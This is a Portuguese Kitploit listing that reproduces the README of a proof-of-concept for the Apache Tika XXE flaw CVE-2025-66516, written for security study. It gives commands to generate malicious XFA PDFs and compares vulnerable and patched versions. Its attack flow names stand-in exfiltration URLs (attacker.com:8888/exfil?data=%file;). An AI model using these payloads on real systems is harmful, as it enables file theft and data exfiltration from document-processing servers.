Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-66516-POC — Um POC para a vulnerabilidade CVE-2025-66516 do Apache Tika apenas para fins educacionais. | Kitploit
Ferramentas/GitHubGitHub/sid6224/cve-2025-66516-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

Um POC para a vulnerabilidade CVE-2025-66516 do Apache Tika apenas para fins educacionais.

Ver Repositório
612há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

⚠️ LEIA O AVISO ANTES DE USAR ⚠️

Somente para Testes Educacionais/Autorizados | Licença | Política de Segurança


CVE Tika Severity XXE License Platform Java


Sobre Este POC

Este repositório contém um exploit de prova de conceito (POC) para CVE-2025-66516, uma vulnerabilidade de injeção de Entidade Externa XML (XXE) no Apache Tika em versões anteriores à 3.2.2. A vulnerabilidade afeta o parser XFA (XML Forms Architecture) no componente tika-parser-pdf-module, permitindo que atacantes leiam arquivos locais e exfiltrem dados sensíveis por meio de documentos PDF maliciosamente elaborados.

O que é CVE-2025-66516?

CVE-2025-66516 é uma vulnerabilidade de segurança crítica na funcionalidade de parsing de PDF do Apache Tika. Ao processar arquivos PDF com formulários XFA incorporados, as versões do Tika anteriores à 3.2.2 não restringem adequadamente o processamento de entidades externas nos parsers XML. Isso permite que atacantes:

  • Leiam arquivos arbitrários do sistema de arquivos do servidor (divulgação de arquivos locais)
  • Exfiltrem dados sensíveis para servidores externos (XXE fora de banda)
  • Realizem ataques SSRF ao disparar requisições para recursos de rede internos
  • Contornem controles de segurança em aplicações que dependem do Tika para processamento de documentos

Detalhes da Vulnerabilidade

  • ID CVE: CVE-2025-66516
  • Componente Afetado: Apache Tika tika-parser-pdf-module
  • Versões Afetadas: Apache Tika < 3.2.2
  • Versão Corrigida: Apache Tika 3.2.2 e posteriores
  • Vetor de Ataque: PDF maliciosamente elaborado com formulários XFA contendo payloads XXE
  • Impacto: Violação de confidencialidade, exfiltração de dados, falsificação de requisição do lado do servidor (SSRF)
  • Severidade CVSS: Alta
  • CVE Relacionado: CVE-2025-32370 (vulnerabilidade XXE semelhante no Tika)

Conteúdo do Repositório

Este repositório inclui:

  • gen_poc.py - Script Python para gerar PDFs maliciosos para ataques XXE de leitura de arquivos locais
  • gen_oob_poc.py - Script Python para gerar PDFs para exfiltração de dados fora de banda
  • http_listener.py - Servidor HTTP para demonstrar exfiltração de dados XXE fora de banda
  • DocumentProcessor.java - Aplicação Java de exemplo mostrando integração vulnerável com o Tika
  • Guia completo de reprodução passo a passo com saídas esperadas
  • Análise técnica comparando versões vulnerável e corrigida
  • Documentação do fluxo de ataque explicando o mecanismo de exploração

Palavras-chave

Apache Tika XXE, exploit CVE-2025-66516, vulnerabilidade de segurança do Tika, ataque de Entidade Externa XML, injeção XXE em PDF, vulnerabilidade do Tika 3.2.1, XXE fora de banda, OOB XXE, pesquisa de segurança, teste de penetração, exploit POC, divulgação de vulnerabilidade, vulnerabilidade do parser XFA, tika-parser-pdf-module, vulnerabilidade de divulgação de arquivos, exfiltração de dados, ataque SSRF, codificação segura, análise de vulnerabilidade, teste de segurança, hacking ético, infosec, pesquisa em cibersegurança, código de exploit do Apache Tika, payload XXE, segurança de PDF, vulnerabilidade de parser de documentos


Ambiente de Teste

Nota: Este POC foi testado e verificado em:

  • Versões do Apache Tika: 3.2.1 (vulnerável) e 3.2.2 (corrigida)
  • Sistema Operacional: Linux - Ubuntu 24.04.3 LTS
  • Versão do Java: OpenJDK 17.0.17

Configurar Diretório do POC

Primeiro, crie um diretório dedicado para o POC para manter todos os arquivos organizados.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Verificação do Ambiente

Antes de prosseguir com o POC, verifique se o seu ambiente possui as dependências necessárias. Esses comandos exibirão as versões do compilador/ambiente de execução Java e os detalhes do SO, que são importantes para reproduzir a vulnerabilidade.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Saída Esperada: Você deve ver as informações da versão do Java (ex.: OpenJDK 17.x.x) e os detalhes da versão do Ubuntu (24.04.3 LTS).

Baixar os JARs do Apache Tika

Baixe as versões vulnerável (3.2.1) e corrigida (3.2.2) do Apache Tika. Precisamos de ambas as versões para demonstrar que a vulnerabilidade XXE existe na 3.2.1 e foi corrigida na 3.2.2. O JAR tika-app é um executável all-in-one que inclui todos os parsers e dependências do Tika.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Saída Esperada: Dois arquivos JAR serão baixados - tika-app-3.2.1.jar (~75MB) e tika-app-3.2.2.jar (~75MB).

Verificar Versões dos Componentes

Verifique as versões exatas inspecionando os arquivos de manifesto dos JARs. Isso confirma que temos as versões vulnerável e corrigida corretas antes do teste.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Saída Esperada: Arquivos de manifesto mostrando Implementation-Version: 3.2.1 e 3.2.2 respectivamente, juntamente com carimbos de data/hora da compilação e outros metadados.

Listar Propriedades POM dos Componentes

Se observarmos os Project Object Models (as propriedades POM do Maven definem as dependências, a configuração de build e os metadados de um projeto), vemos que não há um tika-parsers separado, como mencionado nos avisos de segurança - pode ser algo relacionado à versão, e a suposição é que nas versões 3.2.1 e 3.2.2, que fazem parte do POC, o módulo tika-parsers foi substituído por módulos de parser individuais.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Saída Esperada: Uma lista de todos os módulos de componentes do Tika, incluindo tika-core, tika-parser-pdf-module, tika-xmp, etc. Você notará módulos de parser individuais em vez de um único módulo tika-parsers.

Verificar Versões dos Componentes do Tika

Extraia e exiba as informações de versão dos componentes principais do Tika. Isso nos ajuda a entender a estrutura interna dos módulos e a confirmar que tanto a biblioteca principal quanto o módulo parser de PDF estão nas versões esperadas.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Saída Esperada: Propriedades POM mostrando version=3.2.1 ou version=3.2.2 para cada componente, separadas por ---. Todos os três componentes (tika-core, tika-parser-pdf-module, tika-app) devem corresponder à versão geral.

Criar Arquivo Alvo para Exploração XXE

Crie um arquivo de segredos fictício que será o alvo do nosso ataque XXE. Este arquivo simula dados sensíveis (como chaves de API ou credenciais) que um atacante pode tentar exfiltrar por meio da vulnerabilidade XXE.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Saída Esperada: Um arquivo chamado fake-secrets.txt contendo a string INTERNAL_SERVER_KEY=EXPOSED. Este arquivo será lido pelo exploit XXE.

Análise de Código: Comparar Vulnerável vs Corrigido

Para entender a correção, precisamos descompilar e comparar a classe XMLReaderUtils das duas versões. Essa classe é responsável por criar parsers XML, e a vulnerabilidade decorre de como ela configura o processamento de entidades XML.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Saída Esperada: A extração cria dois diretórios com arquivos de classe descompilados. O comando javap gera a desmontagem do bytecode da classe XMLReaderUtils. O comando diff mostrará as diferenças na configuração do parser XML entre as versões.

Identificar a Correção

Se compararmos com atenção, veremos que qualquer definição de Doctype (DTD) e o suporte a Entidades externas estão desabilitados na 3.2.2 - este é o ponto central da correção:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Saída Esperada: Você verá a saída do diff mostrando que a versão 3.2.2 adiciona chamadas para desabilitar o processamento de DTD e a resolução de entidades externas. Procure linhas que definem accessExternalDTD como string vazia e supportDTD como false.

POC #1: Leitura de Arquivo Local via XXE

Isso demonstra o ataque XXE clássico, em que um PDF malicioso lê um arquivo local do sistema de arquivos do servidor. O script Python gera um PDF com um formulário XFA incorporado contendo XML com um payload XXE que referencia file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Saída Esperada:

  • gen_poc.py cria cve_2025_66516_poc.pdf contendo o payload XXE
  • Vulnerável (3.2.1): A saída do Tika incluirá INTERNAL_SERVER_KEY=EXPOSED - o conteúdo do arquivo secreto!
  • Corrigido (3.2.2): A saída do Tika NÃO conterá os dados secretos; o ataque XXE é bloqueado

POC #2: XXE Fora de Banda

Isso demonstra um ataque XXE mais sofisticado usando exfiltração de dados fora de banda (OOB). Em vez de refletir o conteúdo do arquivo na resposta, o PDF malicioso força o Tika a enviar os dados para um servidor externo controlado pelo atacante. Essa técnica funciona mesmo quando a aplicação não retorna o conteúdo analisado.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Saída Esperada:

  • gen_oob_poc.py cria cve-2025-66516_OOB_XXE.pdf com payload XXE fora de banda
  • http_listener.py inicia um servidor na porta 8888 e aguarda requisições recebidas
  • Vulnerável (3.2.1): O listener HTTP receberá duas requisições:
    1. Requisição GET para /evil.dtd (busca de DTD externo)
    2. Requisição GET para /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltração de dados)
  • Corrigido (3.2.2): Nenhuma requisição HTTP recebida; o processamento de entidades externas é bloqueado

Teste em Nível de Aplicação

Isso testa a vulnerabilidade em um cenário mais realista, em que o Tika é usado como biblioteca dentro de uma aplicação Java (não apenas pela ferramenta de linha de comando). O código DocumentProcessor.java simula como uma aplicação típica pode integrar o Tika para análise de documentos.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Saída Esperada:

  • Vulnerável (3.2.1): O programa imprimirá:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Corrigido (3.2.2): O programa imprimirá:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

Limpeza

Remova diretórios e arquivos temporários criados durante a fase de análise para manter o espaço de trabalho limpo.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Saída Esperada: Os diretórios e arquivos de texto descompilados serão removidos. Nenhuma saída é exibida, a menos que haja um erro.


Entendendo o Fluxo do Ataque

Sequência do Ataque XXE ao Sistema de Arquivos Local

  1. O PDF contém um fluxo XFA com declaração DOCTYPE + ENTITY
  2. O Tika detecta XFA → chama XFAExtractor
  3. O XFAExtractor cria o parser XML por meio do XMLReaderUtils
  4. O parser processa o DOCTYPE e registra a entidade xxe
  5. O parser encontra a referência &xxe;
  6. O parser resolve a entidade → lê file:///fake-secrets.txt
  7. O conteúdo do arquivo é inserido no XML na posição de &xxe;
  8. O XFAExtractor extrai o valor do campo = conteúdo do arquivo
  9. A aplicação recebe os dados secretos na saída do Tika

Sequência do Ataque XXE Fora de Banda (OOB)

  1. O PDF contém XFA com DOCTYPE declarando entidades de parâmetro (%file, %dtd)
  2. O Tika detecta XFA → chama XFAExtractor
  3. O XFAExtractor cria o parser XML por meio do XMLReaderUtils
  4. O parser processa o DOCTYPE e registra a entidade %file → aponta para file:///fake-secrets.txt
  5. O parser encontra a referência %dtd; → aponta para http://attacker.com:8888/evil.dtd
  6. O parser faz uma requisição HTTP GET para o servidor do atacante para buscar evil.dtd
  7. O servidor HTTP do atacante recebe a requisição e serve o conteúdo de evil.dtd
  8. O parser processa evil.dtd: define a entidade %payload contendo a definição de &send
  9. evil.dtd expande %payload → cria a entidade &send com a URL de exfiltração
  10. A entidade &send contém: http://attacker.com:8888/exfil?data=%file;
  11. O parser expande %file; dentro da URL de &send → o conteúdo do arquivo é inserido
  12. O parser resolve a entidade &send; → faz HTTP GET para o endpoint de exfiltração
  13. O servidor HTTP do atacante recebe a requisição /exfil com o conteúdo do arquivo no parâmetro da URL
  14. O atacante extrai os dados do parâmetro da URL e registra o conteúdo do arquivo secreto
  15. A saída da aplicação é irrelevante → os dados já foram exfiltrados para o servidor do atacante

Referências

Avisos de Segurança Oficiais

  • Página de Segurança do Apache Tika: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • Banco de Dados CVE da MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

Vulnerabilidades Relacionadas

  • CVE-2025-54988 - Identificador CVE anterior que CVE-2025-66516 substitui (mesma vulnerabilidade, renumerada)
  • CVE-2025-32370 - Vulnerabilidade XXE semelhante no Apache Tika
  • Guia XXE da OWASP: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Recursos Técnicos

  • Documentação do Apache Tika: https://tika.apache.org/
  • Técnicas de Ataque XXE: https://portswigger.net/web-security/xxe
  • Especificação PDF XFA: Especificação da Adobe XML Forms Architecture (XFA)
  • Análise de Segurança da Upwind: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (Referência de código de aplicação)

Divulgação Responsável

Se você descobrir vulnerabilidades de segurança, por favor, reporte-as de forma responsável:

  • Equipe de Segurança da Apache: [email protected]
  • Equipe do Apache Tika: https://tika.apache.org/mail-lists.html

Tags

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration ssrf oob-xxe file-disclosure secure-coding vulnerability-analysis security-testing exploit-development red-team blue-team appsec document-parsing java-security


Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Apenas para Uso Educacional - Este POC destina-se exclusivamente a fins educacionais e a testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou sem permissão para testar é ilegal.


Contribuindo

Contribuições para melhorar este POC ou a documentação são bem-vindas! Certifique-se de que todas as contribuições:

  • Sigam práticas de divulgação responsável
  • Incluam avisos apropriados
  • Não incluam código malicioso além da demonstração educacional
  • Mantenham o foco no valor educacional

Agradecimentos

  • Equipe de Segurança do Apache Tika pelo trabalho na correção desta vulnerabilidade
  • Comunidade de pesquisa em segurança pelas práticas de divulgação responsável de vulnerabilidades
  • Contribuidores deste repositório

Última Atualização: Dezembro de 2025

Baixar ferramenta